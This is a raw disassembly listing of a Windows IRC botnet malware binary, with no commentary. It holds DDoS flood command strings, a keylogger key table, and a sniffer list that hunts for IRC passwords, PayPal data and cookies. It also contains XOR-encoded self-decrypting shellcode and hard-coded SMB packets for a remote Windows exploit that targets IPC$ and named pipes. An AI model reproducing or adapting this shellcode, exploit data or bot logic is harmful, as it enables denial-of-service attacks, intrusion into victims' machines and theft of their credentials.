dword_4220B8	dd 19930520h, 1, 4220D8h, 5 dup(0)		dd 0FFFFFFFFh, 4202FCh
dword_4220E0	dd 19930520h, 1, 422100h, 5 dup(0)		dd 0FFFFFFFFh, 420310h,	3BEh dup(0)
dword_423000	dd 0				dd offset sub_4036CF
		dd offset sub_404EE6
		dd offset sub_4200C4
dword_423010	dd 0		dword_423014	dd 0				dd offset sub_416852
		dd offset sub_41C384
		dd offset sub_41D0D6
		dd offset sub_41DF48
dword_423028	dd 0		dword_42302C	dd 0				dd offset sub_41D17B
dword_423034	dd 0		dword_423038	dd 0				dd offset sub_41DF59
dword_423040	dd 4 dup(0)	unk_423050	db    2			; DATA XREF: sub_401000+5Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
unk_42308C	db    2			; DATA XREF: sub_4010B2+302o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD_	db '  Send error: <%d>.',0
		align 10h
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_4010B2:loc_4011DEo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_4010B2:loc_4011C2o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_4010B2+F1o
		align 4
unk_4230E4	db    2			; DATA XREF: sub_401447+397o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aDoneWithSFlood	db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB'
		db ').',0
unk_423148	db    2			; DATA XREF: sub_401447+307o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSendingPa	db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>'
		db '.',0
		align 4
unk_4231AC	db    2			; DATA XREF: sub_401447+12Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aInvalidTargetI	db 'Invalid target IP.',0
		align 10h
unk_4231E0	db    2			; DATA XREF: sub_401447+C2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSetsockop	db 'Error: setsockopt() failed, returned: <%d>.',0
unk_42322C	db    2			; DATA XREF: sub_401447+49o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketFai	db 'Error: socket() failed, returned: <%d>.',0
dword_423274	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_40182E+48o
		dd 2029206Ch, 2BBBB02h
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 10h
dword_4232B0	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_4018CA+27Do
		dd 2029206Ch, 2BBBB02h
aSendErrorD__0	db '  Send error: <%d>.',0
dword_4232E0	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD6+4EBo
		dd 2029206Ch, 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
dword_423344	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD6+44Fo
		dd 2029206Ch, 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
aRandom		db 'random',0           ; DATA XREF: sub_401BD6+312o
					; sub_40CE55+2B28o ...
		align 10h
aAck		db 'ack',0              ; DATA XREF: sub_401BD6+2F2o
					; sub_40CE55+2B11o
aSyn		db 'syn',0              ; DATA XREF: sub_401BD6+2D2o
					; sub_40CE55+2AF9o
dword_4233B8	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD6+15Fo
		dd 2029206Ch, 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 4
dword_4233EC	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD6+EEo
		dd 2029206Ch, 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
dword_423438	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD6+70o
		dd 2029206Ch, 2BBBB02h
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:					; DATA XREF: sub_4021FB:loc_4022DEo
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_423BB4	dd 38h,	38000000h, 2 dup(0)		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_423BEC	dd 28026502h, 62302E31h, 20282029h, 6C79656Bh, 6D2E676Fh
					; DATA XREF: sub_40211A+AEo
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 732520h
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_40211A+88o
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_40211A+4Eo
					; sub_40CE55+29D7o
		align 10h
asc_423C30:				; DATA XREF: sub_40211A+2Co
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_4021FB+228o
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4021FB+1E5o
		align 10h
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4021FB+8Fo
		align 10h
off_423C80	dd offset dword_4244F8	; DATA XREF: sub_4024DC+29Er
		dd offset off_4244F4
		dd offset aFtp		; "FTP"
		dd offset aHttp		; "HTTP"
dword_423C90	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)dword_423CA4	dd 0				dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: .nsp0:00423C8Co
		align 10h
aFtp		db 'FTP',0              ; DATA XREF: .nsp0:00423C88o
off_4244F4	dd offset aHeloRndnickMai+25h ;	DATA XREF: .nsp0:00423C84o
dword_4244F8	dd 544F42h	unk_4244FC	db    2			; DATA XREF: sub_4024DC+2FCo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorRecvFaile	db 'Error: recv() failed, returned: <%d>',0
		align 4
unk_424544	db    2			; DATA XREF: sub_4024DC+2ABo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aSuspiciousSPac	db 'Suspicious %s packet from: %s:%d - %s.',0
		align 4
aPsniff		db '[PSNIFF]',0         ; DATA XREF: sub_4024DC+235o
		align 4
unk_424598	db    2			; DATA XREF: sub_4024DC+186o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorWsaioctlF	db 'Error: WSAIoctl() failed, returned: <%d>.',0
		align 4
unk_4245E4	db    2			; DATA XREF: sub_4024DC+103o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorBindFaile	db 'Error: bind() failed, returned: <%d>.',0
		align 4
dword_42462C	dd 28026502h, 62302E31h, 20282029h, 66696E73h, 1F6D2E66h
					; DATA XREF: sub_4024DC+85o
		dd 206C1F64h, 0BB022029h, 202002BBh, 6F727245h,	73203A72h
		dd 656B636Fh, 20292874h, 6C696166h, 202C6465h, 75746572h
		dd 64656E72h, 253C203Ah, 2E3E64h, 0
; ---------------------------------------------------------------------------
		jmp	short loc_42468A

; =============== S U B	R O U T	I N E =======================================



sub_42467A	proc far		; CODE XREF: sub_42467A:loc_42468Ap
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_424682:				; CODE XREF: sub_42467A+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_424682
		jmp	short loc_42468F
; ---------------------------------------------------------------------------


loc_42468A:				; CODE XREF: .nsp0:00424678j
		call	near ptr sub_42467A


loc_42468F:				; CODE XREF: sub_42467A+Ej
		jo	short loc_4246F3
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_424711
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_4246F3:				; CODE XREF: sub_42467A:loc_42468Fj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_424711:				; CODE XREF: sub_42467A+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_42467A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_4247B8:				; DATA XREF: sub_402988+150o
					; sub_402988+20Do
		jmp	short loc_4247CA

; =============== S U B	R O U T	I N E =======================================



sub_4247BA	proc near		; CODE XREF: sub_4247BA:loc_4247CAp
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_4247C2:				; CODE XREF: sub_4247BA+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_4247C2
		jmp	short loc_4247CF
; ---------------------------------------------------------------------------


loc_4247CA:				; CODE XREF: .nsp0:loc_4247B8j
		call	sub_4247BA


loc_4247CF:				; CODE XREF: sub_4247BA+Ej
		jo	short near ptr dword_424748+1Eh
		cwde
		cdq
		cdq
		retn
sub_4247BA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_424868	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_402988+101o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_424950	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_402DDD+7Fo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4249DC	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402DDD+AAo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_424A88	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402DDD+CFo
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_424B68	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+57o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_402988+86o
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_424BCC	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+2B0o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_424C38	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_402988+2DBo
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_424CDC	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
